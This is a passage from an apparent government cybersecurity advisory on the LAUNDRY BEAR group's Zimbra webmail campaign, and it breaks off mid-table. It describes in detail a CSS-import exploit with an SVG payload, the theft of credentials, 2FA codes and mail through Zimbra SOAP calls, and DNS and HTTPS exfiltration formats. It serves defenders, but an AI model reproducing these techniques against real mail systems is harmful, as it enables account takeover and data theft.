<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
